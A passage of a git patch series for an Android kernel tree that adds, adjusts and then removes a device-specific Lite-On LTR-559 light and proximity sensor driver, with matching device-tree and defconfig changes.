(rc) { + dev_err(dev, "Unable to read ps hysteresis threshold\n"); + return rc; + } + pdata->prox_hsyteresis_threshold = tmp; + + rc = of_property_read_u32(np, "ltr,als-polling-time", &tmp); + if (rc) { + dev_err(dev, "Unable to read ps hysteresis threshold\n"); + return rc; + } + pdata->als_poll_interval = tmp; + + return 0; +} + +int ltr559_probe(struct i2c_client *client, const struct i2c_device_id *id) +{ + struct i2c_adapter *adapter = to_i2c_adapter(client->dev.parent); + struct ltr559_data *data; + struct ltr559_platform_data *pdata; + int ret = 0; + + /* check i2c*/ + if (!i2c_check_functionality(adapter, I2C_FUNC_SMBUS_WRITE_BYTE | I2C_FUNC_SMBUS_READ_BYTE_DATA)) { + dev_err(&client->dev, "LTR-559ALS functionality check failed.\n"); + return -EIO; + } + + /* platform data memory allocation*/ + if (client->dev.of_node) { + pdata = devm_kzalloc(&client->dev, + sizeof(struct ltr559_platform_data), + GFP_KERNEL); + if (!pdata) { + dev_err(&client->dev, "Failed to allocate memory\n"); + return -ENOMEM; + } + + client->dev.platform_data = pdata; + } else { + pdata = client->dev.platform_data; + if (!pdata) { + dev_err(&client->dev, "No platform data\n"); + return -ENODEV; + } + } + + /* data memory allocation */ + data = kzalloc(sizeof(struct ltr559_data), GFP_KERNEL); + if (!data) { + dev_err(&client->dev, "kzalloc failed\n"); + ret = -ENOMEM; + goto exit_kfree_pdata; + } + data->client = client; + data->platform_data = pdata; + sensor_info = data; + ret = ltr559_parse_dt(&client->dev, data); + if (ret) { + dev_err(&client->dev, "can't parse platform data\n"); + ret = -EFAULT; + goto exit_kfree_data; + } + data->dynamic_noise = 2047; + /* pinctrl initialization */ + ret = ltr559_pinctrl_init(data); + if (ret) { + ret = -EFAULT; + dev_err(&client->dev, "Can't initialize pinctrl\n"); + goto exit_kfree_data; + } + + /* power initialization */ + ret = sensor_platform_hw_power_onoff(data, true); + if (ret) { + ret = -ENOEXEC; + dev_err(&client->dev, "power on fail\n"); + goto exit_kfree_data; + } + + wake_lock_init(&data->ps_wakelock, WAKE_LOCK_SUSPEND, "proximity"); + + /* set client data as ltr559_data*/ + i2c_set_clientdata(client, data); + + ret = ltr559_check_chip_id(client); + if (ret) { + ret = -ENXIO; + dev_err(&client->dev, "the manufacture id is not match\n"); + goto exit_power_off; + } + + ret = ltr559_device_init(client); + if (ret) { + ret = -ENXIO; + dev_err(&client->dev, "device init failed\n"); + goto exit_power_off; + } + + /* request gpio and irq */ + ret = ltr559_gpio_irq(data); + if (ret) { + ret = -ENXIO; + dev_err(&client->dev, "gpio_irq failed\n"); + goto exit_chip_reset; + } + + /* Register Input Device */ + data->input_dev_als = input_allocate_device(); + if (!data->input_dev_als) { + ret = -ENOMEM; + dev_err(&client->dev, "Failed to allocate input device als\n"); + goto exit_free_irq; + } + + data->input_dev_ps = input_allocate_device(); + if (!data->input_dev_ps) { + ret = -ENOMEM; + dev_err(&client->dev, "Failed to allocate input device ps\n"); + goto exit_free_dev_als; + } + + set_bit(EV_ABS, data->input_dev_als->evbit); + set_bit(EV_ABS, data->input_dev_ps->evbit); + + input_set_abs_params(data->input_dev_als, ABS_MISC, 0, 65535, 0, 0); + input_set_abs_params(data->input_dev_ps, ABS_DISTANCE, 0, 1, 0, 0); + + data->input_dev_als->name = "light"; + data->input_dev_ps->name = "proximity"; + data->input_dev_als->id.bustype = BUS_I2C; + data->input_dev_als->dev.parent = &data->client->dev; + data->input_dev_ps->id.bustype = BUS_I2C; + data->input_dev_ps->dev.parent = &data->client->dev; + + input_set_drvdata(data->input_dev_als, data); + input_set_drvdata(data->input_dev_ps, data); + + ret = input_register_device(data->input_dev_als); + if (ret) { + ret = -ENOMEM; + dev_err(&client->dev, "Unable to register input device als: %s\n", data->input_dev_als->name); + goto exit_free_dev_ps; + } + + ret = input_register_device(data->input_dev_ps); + if (ret) { + ret = -ENOMEM; + dev_err(&client->dev, "Unable to register input device ps: %s\n", data->input_dev_ps->name); + goto exit_unregister_dev_als; + } + printk("%s input device success.\n", __func__); + ret = misc_register(&ps_misc); + if (ret < 0) { + dev_err(&data->client->dev, + "%s: PS Register Misc Device Fail...\n", __func__); + goto exit_free_dev_als; + } + /* init delayed works */ + INIT_DELAYED_WORK(&data->ps_work, ltr559_ps_work_func); + INIT_DELAYED_WORK(&data->als_work, ltr559_als_work_func); + + /* init mutex */ + mutex_init(&data->lockw); + mutex_init(&data->op_lock); + + /* create sysfs group */ + ret = sysfs_create_group(&client->dev.kobj, <r559_attr_group); + +#if defined(DYNAMIC_CALIBRATE) + ret = sysfs_create_group(&data->input_dev_als->dev.kobj, <r559_attr_group); + ret = sysfs_create_group(&data->input_dev_ps->dev.kobj, <r559_attr_group); +#endif + + if (ret) { + ret = -EROFS; + dev_err(&client->dev, "Unable to creat sysfs group\n"); + goto exit_unregister_dev_ps; + } + + /* Register sensors class */ + data->als_cdev = sensors_light_cdev; + data->als_cdev.sensors_enable = ltr559_als_set_enable; + data->als_cdev.sensors_poll_delay = ltr559_als_poll_delay; + data->ps_cdev = sensors_proximity_cdev; + data->ps_cdev.sensors_enable = ltr559_ps_set_enable; + data->ps_cdev.sensors_poll_delay = NULL; + + ret = sensors_classdev_register(&client->dev, &data->als_cdev); + if (ret) { + ret = -EROFS; + dev_err(&client->dev, "Unable to register to als sensor class\n"); + goto exit_remove_sysfs_group; + } + + ret = sensors_classdev_register(&client->dev, &data->ps_cdev); + if (ret) { + ret = -EROFS; + dev_err(&client->dev, "Unable to register to ps sensor class\n"); + goto exit_unregister_als_class; + } + + +#if defined(DYNAMIC_CALIBRATE) + if (0 != ltr559_ps_dynamic_caliberate_init(client, &data->ps_cdev)) { + pr_err("%s, dynamic calibrate fail!", __func__); + data->dynamic_noise = 800; + pdata->prox_threshold = 1000; + pdata->prox_hsyteresis_threshold = 900; + } +#endif + + dev_dbg(&client->dev, "probe succece\n"); + + return 0; + +exit_unregister_als_class: + sensors_classdev_unregister(&data->als_cdev); +exit_remove_sysfs_group: + sysfs_remove_group(&client->dev.kobj, <r559_attr_group); +#if defined(DYNAMIC_CALIBRATE) + sysfs_remove_group(&data->input_dev_als->dev.kobj, <r559_attr_group); + sysfs_remove_group(&data->input_dev_ps->dev.kobj, <r559_attr_group); +#endif +exit_unregister_dev_ps: + input_unregister_device(data->input_dev_ps); +exit_unregister_dev_als: + input_unregister_device(data->input_dev_als); +exit_free_dev_ps: + if (data->input_dev_ps) + input_free_device(data->input_dev_ps); +exit_free_dev_als: + if (data->input_dev_als) + input_free_device(data->input_dev_als); +exit_free_irq: + ltr559_gpio_irq_free(data); +exit_chip_reset: + ltr559_chip_reset(client); +exit_power_off: + sensor_platform_hw_power_onoff(data, false); + wake_lock_destroy(&data->ps_wakelock); + +exit_kfree_pdata: + if (pdata && (client->dev.of_node)) + devm_kfree(&client->dev, pdata); + data->platform_data = NULL; + pdata = NULL; + + +exit_kfree_data: + kfree(data); + + return ret; +} + +static int ltr559_remove(struct i2c_client *client) +{ + struct ltr559_data *data = i2c_get_clientdata(client); + struct ltr559_platform_data *pdata = data->platform_data; + + if (data == NULL || pdata == NULL) + return 0; + + ltr559_ps_enable(client, 0); + ltr559_als_enable(client, 0); + input_unregister_device(data->input_dev_als); + input_unregister_device(data->input_dev_ps); + + input_free_device(data->input_dev_als); + input_free_device(data->input_dev_ps); + + ltr559_gpio_irq_free(data); + + sysfs_remove_group(&client->dev.kobj, <r559_attr_group); +#if defined(DYNAMIC_CALIBRATE) + sysfs_remove_group(&data->input_dev_als->dev.kobj, <r559_attr_group); + sysfs_remove_group(&data->input_dev_ps->dev.kobj, <r559_attr_group); +#endif + + cancel_delayed_work_sync(&data->ps_work); + cancel_delayed_work_sync(&data->als_work); + + if (pdata && (client->dev.of_node)) + devm_kfree(&client->dev, pdata); + pdata = NULL; + + wake_lock_destroy(&data->ps_wakelock); + + kfree(data); + data = NULL; + + return 0; +} + +static struct i2c_device_id ltr559_id[] = { + {"ltr559", 0}, + {} +}; + +static struct of_device_id ltr_match_table[] = { + {.compatible = "ltr,ltr559",}, + {}, +}; + +MODULE_DEVICE_TABLE(i2c, ltr559_id); +static SIMPLE_DEV_PM_OPS(ltr559_pm_ops, ltr559_suspend, ltr559_resume); +static struct i2c_driver ltr559_driver = { + .driver = { + .name = LTR559_DRV_NAME, + .owner = THIS_MODULE, + .pm = <r559_pm_ops, + .of_match_table = ltr_match_table, + }, + .probe = ltr559_probe, + .remove = ltr559_remove, + .id_table = ltr559_id, +}; + +static int ltr559_driver_init(void) +{ + pr_info("Driver ltr5590 init.\n"); + return i2c_add_driver(<r559_driver); +}; + +static void ltr559_driver_exit(void) +{ + pr_info("Unload ltr559 module...\n"); + i2c_del_driver(<r559_driver); +} + +module_init(ltr559_driver_init); +module_exit(ltr559_driver_exit); +MODULE_AUTHOR("Lite-On Technology Corp."); +MODULE_DESCRIPTION("Lite-On LTR-559 Proximity and Light Sensor Driver"); +MODULE_LICENSE("GPL v2"); +MODULE_VERSION("1.0"); diff --git a/include/linux/input/ltr559_wt88047.h b/include/linux/input/ltr559_wt88047.h new file mode 100644 index 0000000000000..066dcd9597c4f --- /dev/null +++ b/include/linux/input/ltr559_wt88047.h @@ -0,0 +1,86 @@ +/* Lite-On LTR-559ALS Linux Driver +* +* Copyright (C) 2011 Lite-On Technology Corp (Singapore) +* +* This program is distributed in the hope that it will be useful, but +* WITHOUT ANY WARRANTY; without even the implied warranty of +* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +* +*/ +#ifndef _LTR559_H +#define _LTR559_H + +struct ltr559_platform_data { + unsigned int prox_threshold; + unsigned int prox_hsyteresis_threshold; + + unsigned int als_poll_interval; + + unsigned int int_gpio; + unsigned int irq_gpio_flags; +}; + +/* POWER SUPPLY VOLTAGE RANGE */ +#define LTR559_VDD_MIN_UV 2000000 +#define LTR559_VDD_MAX_UV 3300000 +#define LTR559_VIO_MIN_UV 1750000 +#define LTR559_VIO_MAX_UV 1950000 +/*calibration*/ +#define FAR_THRES_DATA 10 +#define NEAR_THRES_DATA 25 + +/* LTR-559 Registers */ +#define LTR559_ALS_CONTR 0x80 +#define LTR559_PS_CONTR 0x81 +#define LTR559_PS_LED 0x82 +#define LTR559_PS_N_PULSES 0x83 +#define LTR559_PS_MEAS_RATE 0x84 +#define LTR559_ALS_MEAS_RATE 0x85 +#define LTR559_MANUFACTURER_ID 0x87 + +#define LTR559_INTERRUPT 0x8F +#define LTR559_PS_THRES_UP_0 0x90 +#define LTR559_PS_THRES_UP_1 0x91 +#define LTR559_PS_THRES_LOW_0 0x92 +#define LTR559_PS_THRES_LOW_1 0x93 + +#define LTR559_ALS_THRES_UP_0 0x97 +#define LTR559_ALS_THRES_UP_1 0x98 +#define LTR559_ALS_THRES_LOW_0 0x99 +#define LTR559_ALS_THRES_LOW_1 0x9A +#define LTR559_INTERRUPT_PERSIST 0x9E + +/* 559's Read Only Registers */ +#define LTR559_ALS_DATA_CH1_0 0x88 +#define LTR559_ALS_DATA_CH1_1 0x89 +#define LTR559_ALS_DATA_CH0_0 0x8A +#define LTR559_ALS_DATA_CH0_1 0x8B +#define LTR559_ALS_PS_STATUS 0x8C +#define LTR559_PS_DATA_0 0x8D +#define LTR559_PS_DATA_1 0x8E + +/* Basic Operating Modes */ +#define MODE_ALS_ON_Range1 0x0B +#define MODE_ALS_ON_Range2 0x03 +#define MODE_ALS_StdBy 0x00 +#define MODE_PS_ON_Gain1 0x03 +#define MODE_PS_ON_Gain2 0x07 +#define MODE_PS_ON_Gain4 0x0B +#define MODE_PS_ON_Gain8 0x0C +#define MODE_PS_StdBy 0x00 + +#define PS_RANGE1 1 +#define PS_RANGE2 2 +#define PS_RANGE4 4 +#define PS_RANGE8 8 +#define ALS_RANGE1_320 1 +#define ALS_RANGE2_64K 2 + +#define PS_DETECTED_THRES 200 +#define PS_UNDETECTED_THRES 180 + +/* Power On response time in ms */ +#define PON_DELAY 600 +#define WAKEUP_DELAY 30 + +#endif From 28c500c37575010a1930a341278221dab18ffcfc Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 26 Jun 2016 11:23:38 +0700 Subject: [PATCH 141/365] input: misc: ltr559: Send boot time alone with sensor events New Android CDD suggest that sensor event should synchronize with SystemClock.elapsedRealtimeNano() clock. Send boot time alone with sensor events to represent the time the event happened as many as possible and synchronize with that clock. Adapted from Bingzhe Cai patch Change-Id: I6e988f63768f23c587693037f1bdafc76ee7bd86 --- drivers/input/misc/ltr559_wt88047.c | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/drivers/input/misc/ltr559_wt88047.c b/drivers/input/misc/ltr559_wt88047.c index e080fed684337..935cb9cf41300 100644 --- a/drivers/input/misc/ltr559_wt88047.c +++ b/drivers/input/misc/ltr559_wt88047.c @@ -402,6 +402,7 @@ static int ltr559_ps_enable(struct i2c_client *client, int on) struct ltr559_data *data = i2c_get_clientdata(client); int ret = 0; int contr_data; + ktime_t timestamp; if (on) { #if defined(DYNAMIC_CALIBRATE) @@ -459,8 +460,13 @@ static int ltr559_ps_enable(struct i2c_client *client, int on) return -EFAULT; } + timestamp = ktime_get_boottime(); data->ps_state = 0xff; input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); + input_event(data->input_dev_ps, EV_SYN, SYN_TIME_SEC, + ktime_to_timespec(timestamp).tv_sec); + input_event(data->input_dev_ps, EV_SYN, SYN_TIME_NSEC, + ktime_to_timespec(timestamp).tv_nsec); input_sync(data->input_dev_ps); } pr_err("%s: enable=(%d) OK\n", __func__, on); @@ -556,9 +562,11 @@ static void ltr559_ps_work_func(struct work_struct *work) int als_ps_status; int psval_lo, psval_hi, psdata; int i = 0; + ktime_t timestamp; mutex_lock(&data->op_lock); + timestamp = ktime_get_boottime(); als_ps_status = ltr559_sensor_I2C_Read(client, LTR559_ALS_PS_STATUS); printk("%s ps_open_state=%d, als_ps_status=0x%x\n", __func__, data->ps_open_state, als_ps_status); if (als_ps_status < 0) @@ -663,6 +671,10 @@ static void ltr559_ps_work_func(struct work_struct *work) if (ps_state_last != data->ps_state) { printk("%s, %d, %d\n", __func__, data->platform_data->prox_threshold, data->platform_data->prox_hsyteresis_threshold); input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); + input_event(data->input_dev_ps, EV_SYN, SYN_TIME_SEC, + ktime_to_timespec(timestamp).tv_sec); + input_event(data->input_dev_ps, EV_SYN, SYN_TIME_NSEC, + ktime_to_timespec(timestamp).tv_nsec); input_sync(data->input_dev_ps); printk("%s, report ABS_DISTANCE=%s\n", __func__, data->ps_state ? "far" : "near"); @@ -685,7 +697,7 @@ static void ltr559_als_work_func(struct work_struct *work) mutex_lock(&data->op_lock); - timestamp = ktime_get(); + timestamp = ktime_get_boottime(); if (!data->als_open_state) goto workout; From b04cdbc64e39fd318c6a0b46d388ccd339ed689c Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 26 Jun 2016 11:28:35 +0700 Subject: [PATCH 142/365] wt88047: Switch to LTR-559 light and proximity driver Change-Id: Ia5a090ca62d5e38dea78bac694ec5fc85dfd65d2 --- .../dts/qcom/wt88047/msm8916-wt88047.dtsi | 35 ++++++++----------- .../arm/configs/cyanogenmod_wt88047_defconfig | 4 +-- 2 files changed, 16 insertions(+), 23 deletions(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 16dc161d32619..050d3fae8b156 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -219,16 +219,16 @@ }; &tlmm_pinmux { - ltr553_int_pin { + ltr559_int_pin { qcom,pins = <&gp 113>; qcom,pin-func = <0>; qcom,num-grp-pins = <1>; - label = "ltr553-irq"; - ltr553_default: ltr553_default { + label = "ltr559-irq"; + ltr559_default: ltr559_default { drive-strength = <6>; bias-pull-up; }; - ltr553_sleep: ltr553_sleep { + ltr559_sleep: ltr559_sleep { drive-strength = <2>; bias-pull-down; }; @@ -257,26 +257,19 @@ &i2c_0 { /* BLSP1 QUP2 */ liteon@23 { - compatible = "liteon,ltr553"; + compatible = "ltr,ltr559"; reg = <0x23>; + pinctrl-names = "default", "sleep"; + pinctrl-0 = <<r559_default>; + pinctrl-1 = <<r559_sleep>; + interrupt-parent = <&msm_gpio>; + interrupts = <113 0x2>; vdd-supply = <&pm8916_l17>; vio-supply = <&pm8916_l6>; - interrupt-parent = <&msm_gpio>; - interrupts = <113 0x2002>; - pinctrl-names = "default","sleep"; - pinctrl-0 = <<r553_default>; - pinctrl-1 = <<r553_sleep>; - liteon,irq-gpio = <&msm_gpio 113 0x2002>; - liteon,als-ps-persist = <0>; - liteon,ps-led = <0x7f>; - liteon,ps-pulses = <15>; - liteon,ps-distance-table = <1700 1200 900 500 320 200 150>; - liteon,wakeup-threshold = <4>; - liteon,als-integration-time = <0>; - liteon,als-equation-0 = <1 1 7743 1059 600 1>; - liteon,als-equation-1 = <4 1 2785 696 240 (-1)>; - liteon,als-equation-2 = <0 0 5926 1300 44 1>; - liteon,als-equation-3 = <0 0 0 0 1 1>; + ltr,irq-gpio = <&msm_gpio 113 0x2>; + ltr,ps-threshold = <45>; + ltr,ps-hysteresis-threshold = <30>; + ltr,als-polling-time = <200>; }; mpu6050@68 { diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index acff0a42c7a93..dd72a302ee986 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -1611,8 +1611,8 @@ CONFIG_INPUT_GPIO=y # CONFIG_SENSORS_MMA8X5X is not set # CONFIG_SENSORS_AP3426 is not set # CONFIG_SENSORS_AP3426_CM is not set -CONFIG_SENSORS_LTR553=y -# CONFIG_SENSORS_LTR559 is not set +# CONFIG_SENSORS_LTR553 is not set +CONFIG_SENSORS_LTR559=y CONFIG_SENSORS_MMC3416X=y # CONFIG_SENSORS_MMC3416X_ALLOW_OVERFLOW is not set CONFIG_SENSORS_AKM09911=y From 9d1b1804fc8a45ac037336e831557f369b6fb406 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 26 Jun 2016 12:32:14 +0700 Subject: [PATCH 143/365] input: misc: ltr559: Report proper initial value to userspace Change-Id: Ie39c11032552c4202d9807fe6939eaa88d477ee0 --- drivers/input/misc/ltr559_wt88047.c | 30 ++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/drivers/input/misc/ltr559_wt88047.c b/drivers/input/misc/ltr559_wt88047.c index 935cb9cf41300..88aaeb891d718 100644 --- a/drivers/input/misc/ltr559_wt88047.c +++ b/drivers/input/misc/ltr559_wt88047.c @@ -378,7 +378,7 @@ static int ltr559_chip_reset(struct i2c_client *client) return ret; } -static u32 ps_state_last = 0xff; +static u32 ps_state_last = 1; static void ltr559_set_ps_threshold(struct i2c_client *client, u8 addr, u16 value) @@ -404,6 +404,7 @@ static int ltr559_ps_enable(struct i2c_client *client, int on) int contr_data; ktime_t timestamp; + timestamp = ktime_get_boottime(); if (on) { #if defined(DYNAMIC_CALIBRATE) if (0 != ltr559_ps_dynamic_caliberate_init(client, &data->ps_cdev)) { @@ -427,8 +428,7 @@ static int ltr559_ps_enable(struct i2c_client *client, int on) return -EFAULT; } - data->ps_state = 0xff; - ps_state_last = 0xff; + data->ps_state = 1; #if defined(DYNAMIC_CALIBRATE) ltr559_set_ps_threshold(data->client, LTR559_PS_THRES_LOW_0, data->platform_data->prox_hsyteresis_threshold); @@ -438,9 +438,14 @@ static int ltr559_ps_enable(struct i2c_client *client, int on) ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, data->platform_data->prox_threshold-1); #endif - wake_lock(&data->ps_wakelock); - + input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); + input_event(data->input_dev_ps, EV_SYN, SYN_TIME_SEC, + ktime_to_timespec(timestamp).tv_sec); + input_event(data->input_dev_ps, EV_SYN, SYN_TIME_NSEC, + ktime_to_timespec(timestamp).tv_nsec); + input_sync(data->input_dev_ps); + wake_lock(&data->ps_wakelock); } else { wake_unlock(&data->ps_wakelock); @@ -459,15 +464,6 @@ static int ltr559_ps_enable(struct i2c_client *client, int on) pr_err("%s: enable=(%d) failed!\n", __func__, on); return -EFAULT; } - - timestamp = ktime_get_boottime(); - data->ps_state = 0xff; - input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); - input_event(data->input_dev_ps, EV_SYN, SYN_TIME_SEC, - ktime_to_timespec(timestamp).tv_sec); - input_event(data->input_dev_ps, EV_SYN, SYN_TIME_NSEC, - ktime_to_timespec(timestamp).tv_nsec); - input_sync(data->input_dev_ps); } pr_err("%s: enable=(%d) OK\n", __func__, on); return ret; @@ -629,7 +625,7 @@ static void ltr559_ps_work_func(struct work_struct *work) #if defined(DYNAMIC_CALIBRATE) if ((data->dynamic_noise >= 10 && (((int)data->dynamic_noise - psdata > 30) || (psdata - (int)data->dynamic_noise > 15))) || - (ps_state_last == 0xff && (psdata - (int)data->dynamic_noise) < 200)) { + (ps_state_last == 1 && (psdata - (int)data->dynamic_noise) < 200)) { data->dynamic_noise = psdata; @@ -681,6 +677,10 @@ static void ltr559_ps_work_func(struct work_struct *work) ps_state_last = data->ps_state; } else printk("%s, ps_state still %s\n", __func__, data->ps_state ? "far" : "near"); + } else if ((data->ps_open_state == 0) && (als_ps_status & 0x03)) { + /* If the interrupt fires while we're still not open, the sensor is covered */ + data->ps_state = 0; + ps_state_last = data->ps_state; } workout: enable_irq(data->irq); From 4185df69fe5584b5df45f284f8192f4da061d230 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 27 Jun 2016 20:21:36 +0700 Subject: [PATCH 144/365] input: misc: Remove Wingtech version of LTR-559 driver Change-Id: I18f8829e651b7e99bec9b707f6ab7b9ee2350f08 --- drivers/input/misc/Makefile | 4 - drivers/input/misc/ltr559_wt88047.c | 1874 -------------------------- include/linux/input/ltr559_wt88047.h | 86 -- 3 files changed, 1964 deletions(-) delete mode 100644 drivers/input/misc/ltr559_wt88047.c delete mode 100644 include/linux/input/ltr559_wt88047.h diff --git a/drivers/input/misc/Makefile b/drivers/input/misc/Makefile index 04903a74a8906..fa111877e1847 100644 --- a/drivers/input/misc/Makefile +++ b/drivers/input/misc/Makefile @@ -88,11 +88,7 @@ obj-$(CONFIG_SENSORS_LTR553) += ltr553.o obj-$(CONFIG_SENSORS_BMM050) += bmm050_driver.o bmm050.o obj-$(CONFIG_SENSORS_BMG) += bmg160_driver.o bmg160.o -ifeq ($(CONFIG_MACH_WT88047),y) -obj-$(CONFIG_SENSORS_LTR559) += ltr559_wt88047.o -else obj-$(CONFIG_SENSORS_LTR559) += ltr559.o -endif ifeq ($(CONFIG_SENSORS_BMA2X2_ENABLE_INT1),y) EXTRA_CFLAGS += -DBMA2X2_ENABLE_INT1 diff --git a/drivers/input/misc/ltr559_wt88047.c b/drivers/input/misc/ltr559_wt88047.c deleted file mode 100644 index 88aaeb891d718..0000000000000 --- a/drivers/input/misc/ltr559_wt88047.c +++ /dev/null @@ -1,1874 +0,0 @@ -/* ltr559.c - * Lite-On LTR-559 Proximity and Light sensor driver - * - * Copyright (C) 2011 Lite-On Technology Corp (Singapore) - * - * This software is licensed under the terms of the GNU General Public - * License version 2, as published by the Free Software Foundation, and - * may be copied, distributed, and modified under those terms. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -/* - * 2011-11-18 Thundersoft porting to MSM7x27A platform. - * 2011-05-01 Lite-On created base driver. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define SENSOR_NAME "proximity" -#define LTR559_DRV_NAME "ltr559" -#define LTR559_MANUFAC_ID 0x05 - -#define VENDOR_NAME "lite-on" -#define LTR559_SENSOR_NAME "ltr559als" -#define DRIVER_VERSION "1.0" - -#define ALSPS_LS_ENABLE _IOW('c', 5, int *) -#define ALSPS_PS_ENABLE _IOW('c', 6, int *) -#define ALSPS_LSENSOR_LUX_DATA _IOW('c', 7, int *) -#define ALSPS_PSENSOR_ABS_DISTANCE_DATA _IOW('c', 8, int *) -#define ALSPS_GET_PS_RAW_DATA_FOR_CALI _IOW('c', 9, int *) -#define ALSPS_REC_PS_DATA_FOR_CALI _IOW('c', 10, int *) - -#define DYNAMIC_CALIBRATE 1 - -#ifdef SYS_AUTHORITY_FOR_CTS -#define SYS_AUTHORITY (S_IRUGO|S_IWUSR|S_IWGRP) -#else -#define SYS_AUTHORITY (S_IRUGO|S_IWUGO) -#endif - -struct ltr559_data { - - struct i2c_client *client; - struct input_dev *input_dev_als; - struct input_dev *input_dev_ps; - struct sensors_classdev als_cdev; - struct sensors_classdev ps_cdev; - - struct wake_lock ps_wakelock; - - /* pinctrl data*/ - struct pinctrl *pinctrl; - struct pinctrl_state *pin_default; - struct pinctrl_state *pin_sleep; - - struct ltr559_platform_data *platform_data; - - /* regulator data */ - bool power_state; - struct regulator *vdd; - struct regulator *vio; - - /* interrupt type is level-style */ - struct mutex lockw; - struct mutex op_lock; - - struct delayed_work ps_work; - struct delayed_work als_work; - - u8 ps_open_state; - u8 als_open_state; - - u16 irq; - - u32 ps_state; - u32 last_lux; -#if defined(DYNAMIC_CALIBRATE) - bool cali_update; - u32 dynamic_noise; -#endif -}; -struct ltr559_data *sensor_info; - -struct ltr559_reg { - const char *name; - u8 addr; - u16 defval; - u16 curval; -}; - -enum ltr559_reg_tbl{ - REG_ALS_CONTR, - REG_PS_CONTR, - REG_ALS_PS_STATUS, - REG_INTERRUPT, - REG_PS_LED, - REG_PS_N_PULSES, - REG_PS_MEAS_RATE, - REG_ALS_MEAS_RATE, - REG_MANUFACTURER_ID, - REG_INTERRUPT_PERSIST, - REG_PS_THRES_LOW, - REG_PS_THRES_UP, - REG_ALS_THRES_LOW, - REG_ALS_THRES_UP, - REG_ALS_DATA_CH1, - REG_ALS_DATA_CH0, - REG_PS_DATA -}; - -static int ltr559_als_set_enable(struct sensors_classdev *sensors_cdev, - unsigned int enable); -static int ltr559_ps_set_enable(struct sensors_classdev *sensors_cdev, - unsigned int enable); - -#if defined(DYNAMIC_CALIBRATE) -static ssize_t ltr559_ps_dynamic_caliberate_init(struct i2c_client *client, struct sensors_classdev *sensors_cdev); -#endif - -static struct ltr559_reg reg_tbl[] = { - { - .name = "ALS_CONTR", - .addr = 0x80, - .defval = 0x00, - .curval = 0x0D, - }, - { - .name = "PS_CONTR", - .addr = 0x81, - .defval = 0x00, - .curval = 0x03, - }, - { - .name = "ALS_PS_STATUS", - .addr = 0x8c, - .defval = 0x00, - .curval = 0x00, - }, - { - .name = "INTERRUPT", - .addr = 0x8f, - .defval = 0x00, - .curval = 0x01, - }, - { - .name = "PS_LED", - .addr = 0x82, - .defval = 0x7f, - .curval = 0x7b, - }, - { - .name = "PS_N_PULSES", - .addr = 0x83, - .defval = 0x01, - .curval = 0x02, - }, - { - .name = "PS_MEAS_RATE", - .addr = 0x84, - .defval = 0x02, - .curval = 0x08, - }, - { - .name = "ALS_MEAS_RATE", - .addr = 0x85, - - - .defval = 0x03, - .curval = 0x01, - }, - { - .name = "MANUFACTURER_ID", - .addr = 0x87, - .defval = 0x05, - .curval = 0x05, - }, - { - .name = "INTERRUPT_PERSIST", - .addr = 0x9e, - .defval = 0x00, - .curval = 0x23, - }, - { - .name = "PS_THRES_LOW", - .addr = 0x92, - .defval = 0x0000, - .curval = 0x0000, - }, - { - .name = "PS_THRES_UP", - .addr = 0x90, - .defval = 0x07ff, - .curval = 0x0000, - }, - { - .name = "ALS_THRES_LOW", - .addr = 0x99, - .defval = 0x0000, - .curval = 0x0000, - }, - { - .name = "ALS_THRES_UP", - .addr = 0x97, - .defval = 0xffff, - - .curval = 0x0000, - }, - { - .name = "ALS_DATA_CH1", - .addr = 0x88, - .defval = 0x0000, - .curval = 0x0000, - }, - { - .name = "ALS_DATA_CH0", - .addr = 0x8a, - .defval = 0x0000, - .curval = 0x0000, - }, - { - .name = "PS_DATA", - .addr = 0x8d, - .defval = 0x0000, - .curval = 0x0000, - }, -}; - -static struct sensors_classdev sensors_light_cdev = { - .name = "ltr559-light", - .vendor = "Lite-On", - .version = 1, - .handle = SENSORS_LIGHT_HANDLE, - .type = SENSOR_TYPE_LIGHT, - .max_range = "60000", - .resolution = "0.0125", - .sensor_power = "0.20", - .min_delay = 0, /* in microseconds */ - .fifo_reserved_event_count = 0, - .fifo_max_event_count = 0, - .enabled = 0, - .flags = 2, - .delay_msec = 100, - .sensors_enable = NULL, - .sensors_poll_delay = NULL, -}; - -static struct sensors_classdev sensors_proximity_cdev = { - .name = "ltr559-proximity", - .vendor = "Lite-On", - .version = 1, - .handle = SENSORS_PROXIMITY_HANDLE, - .type = SENSOR_TYPE_PROXIMITY, - .max_range = "5", - .resolution = "5.0", - .sensor_power = "3", - .min_delay = 0, /* in microseconds */ - .fifo_reserved_event_count = 0, - .fifo_max_event_count = 0, - .enabled = 0, - .flags = 3, - .delay_msec = 100, - .sensors_enable = NULL, - .sensors_poll_delay = NULL, -}; - -#define LTR_I2C_RETRY_COUNT 3 - -static s32 ltr559_sensor_I2C_Wrtie(const struct i2c_client *client, u8 command, u8 value) -{ - int ret = 0; - int retry; - - for (retry = 0; 